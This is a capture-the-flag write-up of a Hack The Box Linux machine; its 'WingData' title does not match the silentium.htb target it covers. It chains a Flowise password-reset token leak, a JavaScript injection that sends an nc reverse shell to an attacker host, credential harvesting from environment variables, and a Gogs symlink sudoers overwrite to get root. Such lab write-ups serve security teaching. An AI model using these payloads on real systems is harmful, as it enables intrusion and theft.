Hack The Box – WingData (Easy Linux Machine)

Martina Giacobbe

1 Reconnaissance

The initial phase consists of service enumeration via `nmap`. This step is critical to establish the attack surface and identify exposed services.

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-25 10:55 EDT
Nmap scan report for silentium.htb (10.129.47.23)
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
```

The target exposes only two services:

- SSH (port 22)
- HTTP (port 80)

Given the limited surface, web enumeration becomes the primary vector.

1.1 Web Enumeration

Virtual host fuzzing is performed using `gobuster`, a common technique when applications rely on hostname-based routing.

```
$ gobuster vhost -u http://silentium.htb \
--wordlist /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
```

This reveals a secondary domain:

```
staging.silentium.htb Status: 200
```

The staging environment exposes a login interface, which is typically less hardened and frequently contains vulnerabilities.

Further analysis identifies the backend software as **Flowise AI v3.0.5**. This is a critical step: version fingerprinting allows mapping to known vulnerabilities (CVE-based exploitation).

2 Initial Access - Account Takeover via CVE-2025-58434

The application is vulnerable to an **authentication bypass / account takeover** flaw. Specifically, the `forgot-password` endpoint leaks a valid reset token.

The vulnerability arises from improper authorization checks: the endpoint trusts a custom header and returns sensitive data without verifying user identity.

```
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
```

The response contains:

```
"tempToken":"<tempToken>"
```

This token should be confidential, but is exposed due to flawed logic. The next step is to reset the password:

```
POST /api/v1/account/reset-password HTTP/1.1
Host: staging.silentium.htb

{"user":{
  "email":"ben@silentium.htb",
  "tempToken":"<tempToken>",
  "password":"<newPass>"
}}
```

This results in full account takeover (ATO), a high-impact vulnerability class.

2.1 Remote Code Execution – CVE-2025-59528

Once authenticated, a second vulnerability is leveraged. Flowise exposes a `CustomMCP` node vulnerable to **command injection via JavaScript execution**.

This vulnerability is conceptually similar to server-side template injection (SSTI), where user-controlled input is evaluated in a privileged execution context.

A malicious payload is constructed:

```
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){
      const cp=process.mainModule.require('child_process');
      cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i
      2>&1|nc <attacker_ip> <attacker_port> >/tmp/f');
      return 1;
    })()} )"
  }
}
```

The payload uses:

- Node.js `child_process.exec` for command execution

- A named pipe reverse shell technique

Execution:

```
curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d @payload.json
```

This yields a shell inside a Docker container as user `node`.

3 Post-Exploitation - Credential Harvesting

Environment variable inspection is a standard post-exploitation step in containerized environments.

```
$ env
FLOWISE_PASSWORD=F1l3_d0ck3r
FLOWISE_USERNAME=ben
SMTP_PASSWORD=r04D!!_R4ge
```

These credentials enable SSH access:

```
$ ssh ben@silentium.htb
```

This demonstrates a common misconfiguration: sensitive secrets stored in environment variables without proper isolation.

4 Privilege Escalation

Local enumeration reveals active services:

```
$ ss -tulpn
```

A process running as root is identified:

```
/opt/gogs/gogs/gogs web
```

The version is:

```
$ /opt/gogs/gogs/gogs --version
Gogs version 0.13.3
```

This version is vulnerable to **CVE-2025-8110**, which allows privilege escalation via repository manipulation.

4.1 Exploitation Strategy

The attack relies on abusing Git symlinks to overwrite privileged files. This is conceptually related to:

- Arbitrary file write
- Symlink traversal vulnerabilities

First, establish port forwarding:

```
$ ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
```

Then create a repository and introduce a malicious symlink:

```
$ git clone http://127.0.0.1:3001/<username>/<repo>.git
$ cd <repo>
$ ln -s /etc/sudoers.d/ben evil
$ git add evil
$ git commit -m "add symlink"
$ git push
```

The goal is to overwrite a sudoers file.
The API is then used to write controlled content:

```
curl -X PUT "http://127.0.0.1:3001/api/v1/repos/benben/pwn/contents/evil" \
  -H "Content-Type: application/json" \
  -H "Authorization: token <TOKEN>" \
  -d '{
    "content": "YmVuIEFMTDOoQUxMKSBOT1BBU1NXRDpBTEwK",
    "message": "update file",
    "branch": "main"
}'
```

The base64 content decodes to:

```
ben ALL=(ALL) NOPASSWD:ALL
```

This grants full sudo privileges.

4.2 Root Access

Privilege escalation is completed:

```
$ sudo id
uid=0(root) gid=0(root) groups=0(root)

$ sudo /bin/bash
# cat root.txt
```

5 Conclusion

The attack chain demonstrates a typical multi-stage compromise:

1. Web enumeration → staging discovery
2. Account takeover via logic flaw
3. RCE via unsafe code execution
4. Credential harvesting from environment
5. SSH lateral movement
6. Local service exploitation (Gogs)
7. Privilege escalation via symlink abuse

From a defensive perspective, the key failures include:

- Improper authentication checks
- Unsafe evaluation of user input
- Secrets exposed in environment variables
- Outdated vulnerable software
- Lack of filesystem protection against symlink attacks